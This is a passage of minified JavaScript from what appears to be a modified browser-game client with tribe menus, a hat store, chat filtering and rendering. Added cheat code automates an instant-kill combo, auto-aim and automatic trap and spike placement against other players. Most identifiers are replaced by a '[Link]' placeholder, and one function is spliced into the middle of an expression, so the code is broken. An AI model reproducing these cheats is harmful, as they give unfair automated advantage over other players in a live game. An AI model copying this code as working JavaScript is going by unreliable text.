}
function _t(e) {
for (var t = [Link] - 1; t >= 0; t--)
X[t].sid == e && [Link](t, 1);
"block" == [Link] && Ut()
}
function Ut() {
if (R && [Link]) {
if (an(),
[Link] = "none",
[Link] = "block",
[Link](We),
[Link])
for (var e = 0; e < [Link]; e += 2)
!function(e) {
var t = [Link]({
class: "allianceItem",
style: "color:" + (Pt[e] == [Link] ? "#fff" :
"rgba(255,255,255,0.6)"),
text: Pt[e + 1],
parent: We
});
[Link] && Pt[e] != [Link] && [Link]({
class: "joinAlBtn",
text: "Kick",
onclick: function() {
Lt(Pt[e])
},
hookTouch: !0,
parent: t
})
}(e);
else if ([Link])
for (e = 0; e < [Link]; ++e)
!function(e) {
var t = [Link]({
class: "allianceItem",
style: "color:" + (X[e].sid == [Link] ? "#fff" :
"rgba(255,255,255,0.6)"),
text: X[e].sid,
parent: We
});
[Link]({
class: "joinAlBtn",
text: "Join",
onclick: function() {
Ft(e)
},
hookTouch: !0,
parent: t
})
}(e);
else
[Link]({
class: "allianceItem",
text: "No Tribes Yet",
parent: We
});
[Link](Xe),
[Link] ? [Link]({
class: "allianceButtonM",
style: "width: 360px",
text: [Link] ? "Delete Tribe" : "Leave Tribe",
onclick: function() {
Ht()
},
hookTouch: !0,
parent: Xe
}) : ([Link]({
tag: "input",
type: "text",
id: "allianceInput",
maxLength: 7,
placeholder: "unique name",
ontouchstart: function(e) {
[Link]();
var t = prompt("unique name", [Link]);
[Link] = [Link](0, 7)
},
parent: Xe
}),
[Link]({
tag: "div",
class: "allianceButtonM",
style: "width: 140px;",
text: "Create",
onclick: function() {
zt()
},
hookTouch: !0,
parent: Xe
}))
}
}
var functions = ["Auto Place", "Auto Q"];
function drawMenu() {
if([Link] === "block") {
let randomShit = [Link]("div"), anotherShit =
[Link]("div");
[Link] = "urbad";
[Link] = "ggez";
[Link]("storeMenu").appendChild(randomShit);
[Link]("urbad").[Link] = "10px";
[Link]("urbad").appendChild(anotherShit);
[Link]("ggez").[Link] = "px";
[Link]("ggez").[Link] = "inline-block";
[Link]("ggez").[Link] = "10px";
[Link]("ggez").[Link] = "27px";
[Link]("ggez").[Link] = "rgba(0, 0,
0, 0.25)";
[Link]("ggez").[Link] = "4px";
[Link]("ggez").[Link] = "#fff";
[Link]("ggez").[Link] = "all";
[Link]("ggez").[Link] = "pointer";
[Link]("ggez").innerText = "functions";
[Link]("ggez").onclick = () => {
let trashIndex = [Link]("div");
[Link] = "bullshit";
[Link]("storeHolder").appendChild(trashIndex);
for(let n = (Xt == 0 ? 1 : 0), t = (Xt == 0 ? [Link] :
[Link]); n < t; n++) {
[Link]("storeDisplay" + n).remove();
}
[...Array([Link])].fill("style").map((q, e) => q +
e).forEach(a => {
let index = [Link]("div");
[Link] = a;
[Link]("bullshit").appendChild(index);
[Link]("bullshit").[Link] = "block";
[Link](a).[Link] = "all";
[Link](a).[Link] = "pointer";
[Link](a).[Link] = "35px";
});
for(let i = 0; i < [Link]; i++) {
[Link]("style"+i).innerText = functions[i];
}
[Link]("style0").onclick = () => {
if(!erp) erp = true;
else erp = false;
}
[Link]("style1").onclick = () => {
if(!bsr) bsr = true;
else bsr = false;
}
}
}
}
function Dt(e) {
[Link]("11", At[0].sid, e),
[Link](0, 1),
Ct()
}
function Lt(e) {
[Link]("12", e)
}
function Ft(e) {
[Link]("10", X[e].sid)
}
function zt() {
[Link]("8", [Link]("allianceInput").value)
}
function Ht() {
At = [],
Ct(),
[Link]("9")
}
var Vt, qt = [];
script["data"] = o;
function Yt(e, t) {
for (var n = 0; n < [Link]; ++n)
if (!qt[n].active) {
Vt = qt[n];
break
}
Vt || (Vt = new function() {
[Link] = function(e, t) {
[Link] = 0,
this.x = e,
this.y = t,
[Link] = !0
}
,
[Link] = function(e, t) {
[Link] && ([Link] += .05 * t,
[Link] >= [Link] ? [Link] = !
1 : ([Link] = 1 - [Link](0, [Link] / [Link]),
[Link](),
[Link]()))
}
}
,
[Link](Vt)),
[Link](e, t)
}
function Wt(e) {
Et = e
}
var Xt = 0;
function Nt(e, t, n) {
n ? e ? [Link] = t : [Link][t] = 1 : e ? [Link] = t :
[Link][t] = 1,
"block" == [Link] && (Gt(), drawMenu());
}
function Gt() {
if (R) {
[Link]($e);
for (var e = Xt, t = e ? tt : et, n = 0; n < [Link]; ++n)
t[n].dontSell || function(n) {
var i = [Link]({
id: "storeDisplay" + n,
class: "storeItem",
onmouseout: function() {
Tt()
},
onmouseover: function() {
Tt(t[n], !1, !0)
},
parent: $e
});
[Link](i, !0),
[Link]({
tag: "img",
class: "hatPreview",
src: "../img/" + (e ? "accessories/access_" :
"hats/hat_") + t[n].id + (t[n].topSprite ? "_p" : "") + ".png",
parent: i
}),
[Link]({
tag: "span",
text: t[n].name,
parent: i
}),
(e ? [Link][t[n].id] : [Link][t[n].id]) ? (e ?
[Link] : [Link]) == t[n].id ? [Link]({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Unequip",
onclick: function() {
Jt(0, e)
},
hookTouch: !0,
parent: i
}) : [Link]({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Equip",
onclick: function() {
Jt(t[n].id, e)
},
hookTouch: !0,
parent: i
}) : ([Link]({
class: "joinAlBtn",
style: "margin-top: 5px",
text: "Buy",
onclick: function() {
Kt(t[n].id, e)
},
hookTouch: !0,
parent: i
}),
[Link]({
tag: "span",
class: "itemPrice",
text: t[n].price,
parent: i
}))
}(n)
}
}
function Jt(e, t) {
[Link]("13c", 0, e, t)
}
function Kt(e, t) {
[Link]("13c", 1, e, t)
}
function Hg(e, t){
Jt(e, 0);
Jt(t, 1);
}
function Qt() {
[Link] = "none",
[Link] = "none",
an()
}
function $t(e, t) {
e && (t ? [Link] = e : [Link] = e);
for (var n = 0; n < [Link]; ++n) {
var i = [Link] + n;
[Link]("actionBarItem" + i).[Link] =
[Link]([Link][n].id) >= 0 ? "inline-block" : "none"
}
for (n = 0; n < [Link]; ++n)
[Link]("actionBarItem" + n).[Link] =
[Link][[Link][n].type] == [Link][n].id ? "inline-block" : "none"
}
script["data"]['weapons'] = [Link];
script["data"]['projectiles'] = [Link];
function Zt(e) {
M = e,
V = e && [Link] || 0.6,
[Link] = e,
I("native_resolution", [Link]()),
un()
}
function en() {
for (var e = "", t = 0; t < [Link]; ++t)
e += t == ae ? "<div class='skinColorItem activeSkin'
style='background-color:" + [Link][t] + "' onclick='selectSkinColor(" + t +
")'></div>" : "<div class='skinColorItem' style='background-color:" +
[Link][t] + "' onclick='selectSkinColor(" + t + ")'></div>";
[Link] = e
}
var tn = [Link]("chatBox")
, nn = [Link]("chatHolder");
function rn() {
on ? setTimeout((function() {
var e = prompt("chat message");
e && sn(e)
}
), 1) : "block" == [Link] ? ([Link] &&
sn([Link]),
an()) :
([Link] = "none",
[Link] = "none",
[Link] = "block",
[Link](),
yn()),
[Link] = ""
}
function sn(e) {
[Link]("ch", [Link](0, 30))
}
function an() {
[Link] = "",
[Link] = "none"
}
var on, cn, ln = ["cunt", "whore", "fuck", "shit", "faggot", "nigger",
"nigga", "dick", "vagina", "minge", "cock", "rape", "cum", "sex", "tits", "penis",
"clit", "pussy", "meatcurtain", "jizz", "prune", "douche", "wanker", "damn",
"bitch", "dick", "fag", "bastard"];
function hn(e, t) {
var n = Ii(e);
n && ([Link] = function(e) {
for (var t, n = 0; n < [Link]; ++n)
if ([Link](ln[n]) > -1) {
t = "";
for (var i = 0; i < ln[n].length; ++i)
t += [Link] ? "o" : "M";
var r = new RegExp(ln[n],"g");
e = [Link](r, t)
}
return e
}(t),
[Link] = [Link])
}
function un() {
F = [Link],
z = [Link];
var e = [Link](F / oe, z / ce) * V;
[Link] = F * V,
[Link] = z * V,
[Link] = F + "px",
[Link] = z + "px",
[Link](e, 0, 0, e, (F * V - oe * e) / 2, (z * V - ce * e) /
2)
}
function fn(e) {
(on = e) ? [Link]("touch") : [Link]("touch")
}
function dn(e) {
[Link](),
[Link](),
fn(!0);
for (var t = 0; t < [Link]; t++) {
var n = [Link][t];
[Link] == [Link] ? ([Link] = -1,
bn()) : [Link] == [Link] && ([Link] = -
1,
vn()),
O = 0,
vn())
}
}
function pn() {
return R ? (-1 != [Link] ? cn = Math.atan2([Link] - [Link],
[Link] - [Link]) : [Link] || on || (cn = Math.atan2(ie - z / 2, ne - F /
2)),
[Link](cn || 0, 2)) : 0
}
[Link]("resize", [Link](un)),
un(),
fn(!1),
[Link] = fn,
[Link]("touchmove", [Link]((function(e) {
[Link](),
[Link](),
fn(!0);
for (var t = 0; t < [Link]; t++) {
var n = [Link][t];
[Link] == [Link] ? ([Link] = [Link],
[Link] = [Link],
bn()) : [Link] == [Link] &&
([Link] = [Link],
[Link] = [Link],
O = 1)
}
}
)), !1),
[Link]("touchstart", [Link]((function(e) {
[Link](),
[Link](),
fn(!0);
for (var t = 0; t < [Link]; t++) {
var n = [Link][t];
[Link] < [Link] / 2 && -1 == [Link] ? ([Link] =
[Link],
[Link]
= [Link] = [Link],
[Link]
= [Link] = [Link],
bn()) :
[Link] > [Link] / 2 && -1 == [Link] && ([Link] = [Link],
Mt.x = R.x,
vn(e)))
}
}
)));
var wn = void 0;
function bn() {
var e = function() {
var e = 0
, t = 0;
if (-1 != [Link])
e += [Link] - [Link],
t += [Link] - [Link];
else
for (var n in mn) {
var i = mn[n];
e += !!gn[n] * i[0],
t += !!gn[n] * i[1]
}
return 0 == e && 0 == t ? void 0 : [Link](Math.atan2(t, e), 2)
}();
(null == wn || null == e || [Link](e - wn) > .3) && ([Link]("33", e),
wn = e)
}
let instaTime = null;
let nowKills;
let lastCoords = null;
let killed = false;
let rod = false;
let lastSid = null;
async function xn() {
nowKills = [Link];
lastSid = [Link];
[Link] = true;
lastCoords = Math.atan2(ntE[2] - R.y, ntE[1] - R.x);
trapaim = true;
[Link] == [Link][0] ? null : Sn([Link][0], 1);
[Link][0] == 5 ? null : [7, 17, 31, 23, 10, 38, 4, 15].forEach(e =>
[Link]("6", e));
autoaim = true;
Equip(7, 21);
[Link]("c", 1);
await nextTick();
autoaim = true;
[Link]("c", 1);
[Link] == [Link][1] ? null : Sn([Link][1], 1);
Equip(53, 11);
await nextTick();
[Link] ? [Link] == [Link][1] ? Sn([Link][0], 1) : null :
null;
autoaim = false;
if([Link](ntE[1], ntE[2], R.x, R.y) <= 300 ||
secondaryReload[ntE[0]] == 1) {
[0, 21, 11].includes([Link]) && (Equip(6, 11)), oldShit.a = 6,
oldShit.b = [Link];
} else {
biome(11), oldShit.a = biomeeval(11)[0], oldShit.b = 11;//
Equip(7, 21); lf dont work | biome(11), oldShit.a =
biomeeval(11)[0], oldShit.b = 11;
}
nowKills < [Link] ? (killed = true, rod = false, lastCoords =
lastCoords, setTimeout(function() {killed = false, rod = true}, 650),
setTimeout(function() {rod = false}, 895)) : (killed = false, setTimeout(function()
{lastCoords = null}, 650 - 250), rod = false);
[Link]('c', 0);
instaTime = [Link]();
[Link] = false;
trapaim = true;
}
function Sn(e, t) {
[Link]("5", e, t)
}
function Tn() {
I("moo_name", [Link]),
!le && [Link] && (le = !0,
[Link]("menu"),
dt("wait"),
[Link]("sp", {
name: [Link],
moofoll: H,
skin: ae
}))
}
var In = !0;
function En(e) {
[Link] = "none",
[Link] = "block",
[Link] = "none",
gn = {},
j = e,
O = 0,
le = !0,
In && (In = !1,
[Link] = 0)
}
function Mn(e, t, n, i) {
[Link](e, t, 50, .18, 2000, [Link](n), n >= 0 ? "#fff" : "#fff")
}
var An = 99999;
function Pn() {
le = !1;
if([Link]) [Link] = false, [Link] = 1/0, biome(11), [Link]("c", 0),
trapaim = false, autoaim = false;
try {
[Link]([2], !0)
} catch (e) {}
[Link] = "none",
Qt(),
It = {
x: R.x,
y: R.y
},
[Link] = "none",
[Link] = "block",
[Link] = "0px",
An = 0,
setTimeout((function() {
[Link] = "block",
[Link] = "block",
[Link] = "none"
}
), [Link]),
gt()
}
let getPosData;
function Bn(e) {
R && ([Link](e), getPosData = e, setTimeout(function()
{getPosData = null}, 500));
}
function Cn(e) {
for(let i = 0; i < [Link]; i++) {
if(N[i].sid === e) {
if([Link] === e && [Link]) {
[Link] = !1,[Link] = Infinity,itp.x = void 0,itp.y = void
0,[Link]("c", 0),[Link]("2", pn()),[Link] = 0,hit.p = false,trapaim = false,
[Link] = 0;
if(![Link]) {
[Link][1] == 10 ? Sn([Link][1], 1) :
Sn([Link][0], 1);
biome(11);
oldShit.a = biomeeval(11)[0], oldShit.b = 11;
trs([Link][4]), hit.p = false;
} else {
let ta = (50 + sIt(ntE[1], ntE[2], N)) + 47 + 85;
if(checkConstant() != undefined && checkConstant()[1]) {
if([Link](ntE[1], ntE[2], R.x, R.y) <= ta) {
for(let i = 0;i < 24; i++){
let a =
i*4*(i%2?-1:1)/180*[Link]+Math.atan2(ntE[2] - R.y, ntE[1] - R.x);
Sn([Link][2]), [Link]("c", 1,
a),[Link]("c", 0, a),Sn([Link], 1)
}
[4, 5].includes([Link][0]) ? (biome(21),
oldShit.a = biomeeval(21)[0], oldShit.b = 21) : Equip(6, 11);
} else {
Equip(6, 11);
oldShit.a = 6, oldShit.b = 11;
pAsa([Link][4], [45, 315], Math.atan2(ntE[2] -
R.y, ntE[1] - R.x));
pAsa([Link][3], [130, 260], Math.atan2(ntE[2] -
R.y, ntE[1] - R.x));
}
} else {
if([Link](ntE[1], ntE[2], R.x, R.y) <=
[Link][ntE[5]].range + 35) {
Equip(6, 11);
oldShit.a = 6, oldShit.b = 11;
place([Link][2], Math.atan2(ntE[2] - R.y,
ntE[1] - R.x));
[Link]() - [Link] <= 181 &&
(place([Link][0]));
} else {
biome(11);
oldShit.a = biomeeval(11)[0], oldShit.b = 11;
trs([Link][4]), hit.p = false;
}
}
}
} else {
if([Link]) {
let ta = (50 + sIt(R.x, R.y, N)) + 85;
if([Link](ntE[1], ntE[2], R.x, R.y) <= ta) {
place([Link][4], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x));
} else if([Link](ntE[1], ntE[2], R.x, R.y) > ta
&& [Link](ntE[1], ntE[2], R.x, R.y) <= [Link][[Link]].range + 35)
{
trs([Link][3]), hit.p = false;
} else {
hit.p = false, trapSupport();
}
} else {
if([Link]) {
if(checkConstant() != undefined && !checkConstant()
[1] && [Link](ntE[1], ntE[2], R.x, R.y) <= [Link](
ntE[5] == 5 ? [Link][[Link]].range *
1.5 : ntE[5] == 4 ? [Link][[Link]].range * 1.75 :
[Link][[Link]].range * 2)
) {
Hq([Link][2], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 45) ? null : Hq([Link][4], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 45) ? null : Hq([Link][3], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 45);
Hq([Link][2], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 315) ? null : Hq([Link][4], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 315) ? null : Hq([Link][3], Math.atan2(ntE[2] - R.y, ntE[1] -
R.x) + toRad(1) * 315);
pAsa([Link][4], [130, 260], Math.atan2(ntE[2] -
R.y, ntE[1] - R.x));
} else {
if([Link](ntE[1], ntE[2], R.x, R.y) <= 95
&& checkConstant() != undefined && checkConstant()[1] && [Link]() -
clickTimer[every].date > 600 && [Link]() - instaTime > 850) {
place([Link][4], Math.atan2(ntE[2] - R.y,
ntE[1] - R.x));
} else {
if([Link](ntE[1], ntE[2], R.x, R.y)
<= [Link][[Link]].range + 35 && [Link]() - clickTimer[every].date <
400) {
pAsa([Link][2], [45, 315],
Math.atan2(ntE[2] - R.y, ntE[1] - R.x));
pAsa([Link][4], [130, 260],
Math.atan2(ntE[2] - R.y, ntE[1] - R.x));
} else {
trs([Link][4]), hit.p = false;
}
}
}
}
}
}
[Link](N[i]);
}
}
}
function On() {
[Link] = [Link],
[Link] = [Link],
[Link] = [Link],
_e.innerText = [Link],
[Link] = [Link]
}
var Rn = {}
, jn = ["crown", "skull"]
, _n = [];
function Un(e, t) {
if ([Link] = e,
[Link] = t,
e > 0) {
_n.length = 0,
[Link](Ve);
for (var n = 0; n < [Link]; ++n)
[Link][n].age == t && (null == [Link][n].pre ||
[Link]([Link][n].pre) >= 0) && ([Link]({
id: "upgradeItem" + n,
class: "actionBarItem",
onmouseout: function() {
Tt()
},
parent: Ve
}).[Link] =
[Link]("actionBarItem" + n).[Link],
_n.push(n));
for (n = 0; n < [Link]; ++n)
if ([Link][n].age == t && (null == [Link][n].pre ||
[Link]([Link][n].pre) >= 0)) {
var i = [Link] + n;
[Link]({
id: "upgradeItem" + i,
class: "actionBarItem",
onmouseout: function() {
Tt()
},
parent: Ve
}).[Link] =
[Link]("actionBarItem" + i).[Link],
_n.push(i)
}
for (n = 0; n < _n.length; n++)
!function(e) {
var t = [Link]("upgradeItem" + e);
[Link] = function() {
[Link][e] ? Tt([Link][e], !0) : Tt([Link][e -
[Link]])
}
,
[Link] = [Link]((function() {
[Link]("6", e)
}
)),
[Link](t)
}(_n[n]);
_n.length ? ([Link] = "block",
[Link] = "block",
[Link] = "" + e + "") : ([Link] =
"none",
[Link] = "none",
Tt())
} else
[Link] = "none",
[Link] = "none",
Tt()
}
function Dn(e, t, n) {
null != e && ([Link] = e),
null != t && ([Link] = t),
null != n && ([Link] = n),
n == [Link] ? ([Link] = "MAX AGE",
[Link] = "0%") : ([Link] = "" +
[Link],
[Link] = [Link] /
[Link] * 0 + "%")
}
function Ln(e) {
[Link](De);
for (var t = 1, n = 0; n < [Link]; n += 3)
!function(n) {
[Link]({
class: "leaderHolder",
parent: De,
children: [[Link]({
class: "leaderboardItem",
style: "color:" + (e[n] == j ? "white" : "rgba(250, 250,
250)"),
text: t + ". " + ("" != e[n + 1] ? e[n + 1] : "unknown")
}), [Link]({
class: "leaderScore",
text: [Link](e[n + 2]) || "0"
})]
})
}(n),
t++
}
function Fn(e, t, n, i) {
[Link](),
[Link](1, 0, 0, 1, 0, 0),
[Link](V, V);
var r = 50;
[Link](),
[Link](e, t, r, 0, 2 * [Link], !1),
[Link](),
[Link] = "rgba(255, 255, 255, 0.3)",
[Link](),
r = 50;
var s = n - e
, a = i - t
, o = [Link]([Link](s, 2) + [Link](a, 2))
, c = o > r ? o / r : 1;
s /= c,
a /= c,
[Link](),
[Link](e + s, t + a, .5 * r, 0, 2 * [Link], !1),
[Link](),
[Link] = "white",
[Link](),
[Link]()
}
function zn(e, t, n) {
for (var i = 0; i < [Link]; ++i)
(_ = G[i]).active && _.layer == e && (_.update(P),
_.active && ki(_.x - t, _.y -
n, _.scale) && ([Link](),
[Link](_.dir),
[Link]()))
}
var Hn = {};
function Vn(e, t, n, i, r) {
if ([Link]) {
var s = [Link][[Link]].src
, a = Hn[s];
a || ((a = new Image).onload = function() {
[Link] = !0
}
,
[Link] = ".././img/weapons/" + s + ".png",
Hn[s] = a),
[Link] && [Link](a, e - [Link] / 2, t - [Link] / 2,
[Link], [Link])
} else
1 == [Link] && ([Link] = "#939393",
si(e, t, [Link], i))
}
function qn(e, t, n, i) {
var r = [Link] + i
, s = [Link] / 2 - t - r / 2;
s < ce && s + r > 0 && [Link](0, s, oe, r)
}
function Yn(e, t, n) {
for (var i, r, s, a = 0; a < [Link]; ++a)
(_ = N[a]).active && (r = _.x + _.xWiggle - t,
s = _.y + _.yWiggle - n,
0 == e && _.update(P),
_.layer == e && ki(r, s, _.scale + (_.blocker
|| 0)) && ([Link] = _.hideFromEnemy ? .6 : 1,
_.isItem ? (i = ri(_),
[Link](),
[Link](r, s),
[Link] = .3,
[Link] = 6,
[Link](), R && _ && W && _.owner && _.[Link] != [Link] && (![Link] ||
(([Link](c => [Link] == _.[Link])) && ([Link](c => [Link] == _.[Link])).team !=
[Link]) || !([Link](c => [Link] == _.[Link]))) && _.active && _.isItem && _.name
=== "pit trap" && [Link](_.x - R.x, _.y - R.y) <= 85 && (itp.x = _.x, itp.y =
_.y, [Link] = _.sid, [Link] = _.health, [Link] = !0, (![Link] ?
trs([Link][4]) : trapSupport())),
[Link] && [Link](itp.x - R.x, itp.y - R.y) >= 86 && ([Link] = Infinity,
[Link] = !1, itp.x = void 0, itp.y = void 0, trapaim = false, hit.p = false,
[Link] = 0, [Link] = 0, Hg(6, 11))) : (i = ni(_),
function spn(){
if([Link] > 6.2831853036) [Link] = 0;
[Link] += [Link] * 0.01745329251;
return [Link];
}
function angleRotation(d, s, i) {//now direction, searched direction, index.
let dif = [Link](d - s);
let sld;
dif = dif % ([Link]*2);
if(dif > [Link]){
dif = ([Link]*2) - dif;
}
sld = d;
sld += [Link](dif/i);
/*
if([Link](s - sld) < 0.2 || [Link](s - sld) > 0.2) {
return s;
} else {
*/
return sld;
}
function isElementVisible(e) {
return ([Link] !== null);
}
function toRad(e) {
return e * 0.01745329251;
}
function place(u, t = pn()) {
Sn(u), [Link]("c", 1, t), [Link]("c", 0, t), Sn([Link], 1);
}
function Nn(e, t) {
(t = t || be).lineWidth = 5.5,
[Link] = "miter";
var n = [Link] / 4 * ([Link][[Link]].armS || 1)
, i = [Link] < 0 && [Link][[Link]].hndS || 1
, r = [Link] < 0 && [Link][[Link]].hndD || 1;
if ([Link] > 0 && function(e, t, n) {
if (!(Gn = Qn[e])) {
var i = new Image;
[Link] = function() {
[Link] = !0,
[Link] = null
}
,
[Link] = ".././img/accessories/access_" + e + ".png",
Qn[e] = i,
Gn = i
}
var r = $n[e];
if (!r) {
for (var s = 0; s < [Link]; ++s)
if (tt[s].id == e) {
r = tt[s];
break
}
$n[e] = r
}
[Link] && ([Link](),
[Link](-20 - ([Link] || 0), 0),
[Link] && [Link]([Link]),
[Link](Gn, -[Link] / 2, -[Link] / 2, [Link],
[Link]),
[Link]())
}([Link], t, e),
[Link] < 0 && ![Link][[Link]].aboveHand &&
(ei([Link][[Link]], [Link][[Link]].src, [Link], 0,
t),
null ==
[Link][[Link]].projectile || [Link][[Link]].hideProjectile ||
Vn([Link], 0, [Link][[Link][[Link]].projectile], be)),
[Link] = [Link][[Link]],
si([Link] * [Link](n), [Link] * [Link](n), 14),
si([Link] * r * [Link](-n * i), [Link] * r * [Link](-n * i),
14),
[Link] < 0 && [Link][[Link]].aboveHand &&
(ei([Link][[Link]], [Link][[Link]].src, [Link], 0,
t),
null ==
[Link][[Link]].projectile || [Link][[Link]].hideProjectile ||
Vn([Link], 0, [Link][[Link][[Link]].projectile], be)),
[Link] >= 0) {
var s = ri([Link][[Link]]);
[Link](s, [Link] - [Link][[Link]].holdOffset, -[Link] /
2)
}
si(0, 0, [Link], t),
[Link] > 0 && ([Link]([Link] / 2),
function e(t, n, i, r) {
if (!(Gn = Jn[t])) {
var s = new Image;
[Link] = function() {
[Link] = !0,
[Link] = null
}
,
[Link] = ".././img/hats/hat_" + t + ".png",
Jn[t] = s,
Gn = s
}
var a = i || Kn[t];
if (!a) {
for (var o = 0; o < [Link]; ++o)
if (et[o].id == t) {
a = et[o];
break
}
Kn[t] = a
}
[Link] && [Link](Gn, -[Link] / 2, -[Link] / 2, [Link],
[Link]),
!i && [Link] && ([Link](),
[Link]([Link]),
e(t + "_top", n, a, r),
[Link]())
}([Link], t, null, e))
}
var Gn, Jn = {}, Kn = {}, Qn = {}, $n = {}, Zn = {};
function ei(e, t, n, i, r) {
var s = [Link] + (t || "")
, a = Zn[s];
a || ((a = new Image).onload = function() {
[Link] = !0
}
,
[Link] = ".././img/weapons/" + s + ".png",
Zn[s] = a),
[Link] && [Link](a, n + [Link] - [Link] / 2, i + [Link] -
[Link] / 2, [Link], [Link])
}
var ti = {};
function ni(e) {
var t = e.y >= [Link] - [Link] ? 2 : e.y <= [Link] ?
1 : 0
, n = [Link] + "_" + [Link] + "_" + t
, i = ti[n];
if (!i) {
var r = [Link]("canvas");
[Link] = [Link] = 2.1 * [Link] + 5.5;
var a = [Link]("2d");
if ([Link]([Link] / 2, [Link] / 2),
[Link]([Link](0, [Link])),
[Link] = it,
[Link] = 5.5,
0 == [Link])
for (var c, l = 0; l < 2; ++l)
ai(a, 7, c = _.scale * (l ? .5 : 1), .7 * c),
[Link] = t ? l ? "#fff" : "#e3f1f4" : l ? "#b4db62"
: "#9ebf57",
[Link](),
l || [Link]();
else if (1 == [Link])
if (2 == t)
[Link] = "#606060",
ai(a, 6, .3 * [Link], .71 * [Link]),
[Link](),
[Link](),
[Link] = "#89a54c",
si(0, 0, .55 * [Link], a),
[Link] = "#a5c65b",
si(0, 0, .3 * [Link], a, !0);
else {
var h;
!function(e, t, n, i) {
var r, a = [Link] / 2 * 3, o = [Link] / 6;
[Link](),
[Link](0, -i);
for (var c = 0; c < 6; c++)
r = [Link](n + .9, 1.2 * n),
[Link]([Link](a + o) * r,
[Link](a + o) * r, [Link](a + 2 * o) * i, [Link](a + 2 * o) * i),
a += 2 * o;
[Link](0, -i),
[Link]()
}(a, 0, _.scale, .7 * _.scale),
[Link] = t ? "#e3f1f4" : "#89a54c",
[Link](),
[Link](),
[Link] = t ? "#6a64af" : "#c15555";
var u = T / 4;
for (l = 0; l < 4; ++l)
si((h = [Link](_.scale / 3.5, _.scale / 2.3)) *
[Link](u * l), h * [Link](u * l), [Link](10, 12), a)
}
else
2 != [Link] && 3 != [Link] || ([Link] = 2 == [Link] ? 2 ==
t ? "#938d77" : "#939393" : "#e0c655",
ai(a, 3, [Link], [Link]),
[Link](),
[Link](),
[Link] = 2 == [Link] ? 2 ==
t ? "#b2ab90" : "#bcbcbc" : "#ebdca3",
ai(a, 3, .55 * [Link], .65 *
[Link]),
[Link]());
i = r,
ti[n] = i
}
return i
}
function biome(q) {
let Qs = R.y2*1.5-R.y/2;
Jt(0, 1);
if(Qs < 2400){
Equip(6, 11);
}else if(Qs > 6850 && Qs < 7550){
Equip(6, 11);
}else{
Equip(6, 11);
}
}
function Equip(e, t) {
hasBought(e, "skins") ? (Jt(e, 0), hasBought(t, "tails") ? (Jt(0, 1),
Jt(t, 1)) : (Kt(t, 1), Jt(0, 1), Jt(t, 1))) : (Kt(e, 0), Jt(e, 0), hasBought(t,
"tails") ? (Jt(0, 1), Jt(t, 1)) : Jt(0, 1));
}
function hasBought(e, t) {
if(R[t][e] != undefined) {
return true
} else {
return false;
}
}
function fuck() {
let s = setInterval(async () => {
await (primaryReload[[Link]] == 1 && secondaryReload[[Link]] == 1);
await nextTick();
xn();
clearInterval(s);
});
}
function biomeeval(q) {
let Qs = R.y2*1.5-R.y/2;
if(Qs < 2400){
return [6, 11];
}else if(Qs > 6850 && Qs < 7550){
return [6, 11];
}else{
return [6, 11];
}
}
async function trapSupport() {
if(hit.p != true) {
if(![Link]) {
aT([Link][4], [Link][4]), hit.p = true;
} else {
if([Link]() - [Link] < 300 || (checkConstant() !=
undefined && checkConstant()[1] && [Link](ntE[1], ntE[2], R.x, R.y) <=
[Link][[Link]].range * 2)) {
aT([Link][3], [Link][4]), hit.p = true;
} else {
aT([Link][2], [Link][4]), hit.p = true;
}
}
}
}
function pAsa(r, d, a, e = place) {
for(let i = d[0]; i <= 360; i *= [Link](d[[Link]-1]/d[0])) {
e(r, Math.atan2(ntE[2] - R.y, ntE[1] - R.x) + toRad(1) * i);
}
}
function trs(t) {
if(hit.p != true) {
for (let i = 0; i <= 360; i += 10) {
Hq(t, Math.atan2(ntE[2] - R.y, ntE[1] - R.x) + toRad(1) * i),
hit.p = true;
}
}
}
var ii = [];
function ri(e, t) {
var n = ii[[Link]];
if (!n || t) {
var i = [Link]("canvas");
[Link] = [Link] = 2.5 * [Link] + 5.5 +
([Link][[Link]].spritePadding || 0);
var r = [Link]("2d");
if ([Link]([Link] / 2, [Link] / 2),
[Link](t ? 0 : [Link] / 2),
[Link] = it,
[Link] = 5.5 * (t ? [Link] / 81 : 1),
"apple" == [Link]) {
[Link] = "#c15555",
si(0, 0, [Link], r),
[Link] = "#89a54c";
var a = -[Link] / 2;
!function(e, t, n, i, r) {
var s = e + 25 * [Link](i)
, a = t + 25 * [Link](i);
[Link](e, t),
[Link](),
[Link]((e + s) / 2 + 10 * [Link](i +
[Link] / 2), (t + a) / 2 + 10 * [Link](i + [Link] / 2), s, a),
[Link]((e + s) / 2 - 10 * [Link](i +
[Link] / 2), (t + a) / 2 - 10 * [Link](i + [Link] / 2), e, t),
[Link](),
[Link](),
[Link]()
}([Link] * [Link](a), [Link] * [Link](a), 0, a + [Link] /
2, r)
} else if ("cookie" == [Link]) {
[Link] = "#cca861",
si(0, 0, [Link], r),
[Link] = "#937c4b";
for (var o = T / (h = 4), c = 0; c < h; ++c)
si((u = [Link]([Link] / 2.5, [Link] / 1.7)) *
[Link](o * c), u * [Link](o * c), [Link](4, 5), r, !0)
} else if ("cheese" == [Link]) {
var h, u;
for ([Link] = "#f4f3ac",
si(0, 0, [Link], r),
[Link] = "#c3c28b",
o = T / (h = 4),
c = 0; c < h; ++c)
si((u = [Link]([Link] / 2.5, [Link] / 1.7)) *
[Link](o * c), u * [Link](o * c), [Link](4, 5), r, !0)
} else if ("wood wall" == [Link] || "stone wall" == [Link] ||
"castle wall" == [Link]) {
[Link] = "castle wall" == [Link] ? "#83898e" : "wood wall"
== [Link] ? "#a5974c" : "#939393";
var f = "castle wall" == [Link] ? 4 : 3;
ai(r, f, 1.1 * [Link], 1.1 * [Link]),
[Link](),
[Link](),
[Link] = "castle wall" == [Link] ? "#9da4aa" : "wood
wall" == [Link] ? "#c9b758" : "#bcbcbc",
ai(r, f, .65 * [Link], .65 * [Link]),
[Link]()
} else if ("spikes" == [Link] || "greater spikes" == [Link] ||
"poison spikes" == [Link] || "spinning spikes" == [Link]) {
[Link] = "poison spikes" == [Link] ? "#7b935d" : "#939393";
var d = .6 * [Link];
